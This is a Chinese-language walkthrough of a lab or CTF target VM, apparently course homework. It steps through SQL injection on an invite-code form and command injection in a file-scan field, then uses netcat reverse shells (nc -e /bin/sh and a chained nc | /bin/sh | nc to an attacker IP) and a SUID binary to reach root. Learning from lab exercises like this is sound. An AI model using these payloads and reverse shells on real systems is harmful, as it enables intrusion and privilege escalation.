week2
第二周
网络配置跟第一周靶机相同。
信息收集
arp-scan -l -I eth1 |
扫描到192.168.18.5
,我们对这个进行端口的扫描。
这里发现存在8080端口,然后我们对它进行详细的服务扫描。
这里发现还是http服务,由python框架进行搭建。因为是http服务,那我们使用 浏览器打开测试。
这里发现是存在这么一个服务,首先我们需要一个邀请码。因为是一个输入框,那我们可以进行sql注入漏洞测试。
打点
这里可能有一个JRE的什么提示,直接点击勾选略过即可。
然后逐步打开即可,这里因为是社区版所以不需要破解。这里我们进入火狐浏览器再安装一下代理的插件。
下面就不细说了,跟windows上面的一样。
抓包发送到爆破模块进行测试。
这里在桌面创建一个txt
' |
复制放进去。
我这里是直接放在root的桌面了。然后点击sql.txt
进行加载。
这里我们可以发现有双引号的两个payload返回长队不同,而且状态码也不一样。
然后我们查看发现这个是sql语句引发的报错。
这里可以看到目标服务器使用的是sqlite3数据库,然后我们继续往下看。
在这里可以看到执行的sql语句。
select * from code where password="password" |
这里password就是我们输入的参数,很明显这里存在一个sql注入漏洞,我们可以尝试构造一下payload,让这个sql语句永远为真。这里注意
if len(c.execute('select * from code where password="' + password + '"').fetchall()) > 0: |
这里就是说我们sql语句查询的结果只要条数大于0即可让if为真,所以我们直接使用sql的全集逻辑,构造payload" or "1"="1
,
那么服务端执行的sql语句就会变成,这里要注意因为目标sql语句的字段是使用了双引号包裹,所以要注意引号的闭合。
" or "1"="1 #这里后面这个 "1 就是为了闭合原来就存在的一个双引号,如果我们输入 " or "1"="1" 那么服务端的sql语句就是 |
select * from code where password="" or "1"="1"; |
这里我们就出现了全集逻辑,可以把该表的全部记录查询出来,这里注意。
这样查出来的就是全集逻辑,如果它的逻辑改为:
if len(c.execute('select * from code where password="' + password + '"').fetchall()) == 1: |
这里我们就需要再加一点东西了,因为这里只要一条记录,我们全集把所以记录查出来就不符合==1
了。
那么payload就需要变成。" or "1"="1" limit 0,1--
,当然这个payload在我们这个靶机也能使用,因为它只要结果大于0。
#服务端执行的payload |
这里输入payload然后点击登录。
我们进入了这么一个页面,它告诉我们这个是一个云防病毒扫描的功能,我们可以输入文件名让它去进行扫描。这里可以看到这个页面展示的结果很像是ls -l
命令的结果。这里就有很充分的理由认为它这个功能实际上就是使用shell去调用了某个二进制程序,然后把我们输入的文件名当作参数去执行扫描,那么这里既然是shell调用命令,那么有可能就会有命令执行漏洞的问题,我们可以使用;
分号分隔看一下是否可以执行多个命令。(RCE CTF)
扫描需要几秒钟,耐心等待一下。
这里可以发现我们拼接的id命令被执行了,那说明我们的猜想是正确的。那么这里就可以进行shell
反弹的测试了。
反弹shell
这里这个知识点很重要,直接参考老师的,因为目标机上的nc
是没有e
参数的。但是我们可以在kali上测试一下。
首先我们打开两个终端,在其中一个终端进行监听
nc -lvp 4444 |
然后再另一个终端使用e
参数来连接。10.0.2.15
是我kali的ip地址
nc -e /bin/sh 10.0.2.15 4444 |
这里可以发现监听的那段收到了连接,然后我们输入命令就可以收到结果了。
可以发现现在nc还可使用-c
参数,它的别名就是-e
参数
也是可以进行shell的反弹。
回到靶机,这里我们使用老师的方法,进行nc的串联。
在kali的终端启动两个端口的监听,然后再回到网页输入。
;nc 192.168.18.4 3333 | /bin/sh | nc 192.168.18.4 4444 #这里ip改成自己kali的ip,不要复制!!!!!不要忘记前面的分号,分割前面的命令 |
稍等一会之后,可以看到两个端口都收到了连接。
我们在左边输入命令,在右边就可以得到结果。这是什么情况呢,我们首先需要看一下nc的小功能,他其实就是可以建立两端的连接,比如下面的小例子,这里首先监听本机的5555端口,然后再去连接它,这里模拟是两台不同的机器。这里我们就可以进行对话了。
首先我们在左边输入hello,右边就可以收到信息,右边输入nihaoya
,左边也可以看到。这里就是一个简单的聊天室了。
回到上面的命令
nc 192.168.18.4 3333 | /bin/sh | nc 192.168.18.4 4444 |
这个图一定要理解nc的连接是双向的,就像上面聊天室的例子,我们是可以互通消息的。
继续回到靶机,这里我们可以执行命令发现是个普通用户,这里我们可以思考如何进行提权,这里就直接按着老师的思路走(不去看那个sql文件了我就。你们可以进行尝试)
这里我们回到上级目录然后ls查看
这里查看这个c的源码可以发现它这个程序就是可以接受参数,然后通过调用freshcla
再拼接我们传入的参数进行命令执行。
通过ls -l
我们可以查看该目录具有SUID
(自行百度),使用的时候是通过root的身份去执行的。我们作为普通用户可以看到是有x
权限的,那么我们就可以进行执行。这里因为就是参数的拼接执行,那先分隔前面的命令,后面就可以执行我们想要执行的命令了。
然后再来一次串联,这里换成/bin/bash
处理,/bin/bash
和/bin/sh
的区别也自行百度了解。
;nc 192.168.18.4 5555 | /bin/bash | nc 192.168.18.4 6666 |
然后再执行命令,这里就可以发现我们已经是root身份了,因为我们是通过root身份去运行的update_cloudav
这个程序,那么这个程序执行的时候也就是root,通过它反弹shell拿到的权限就是root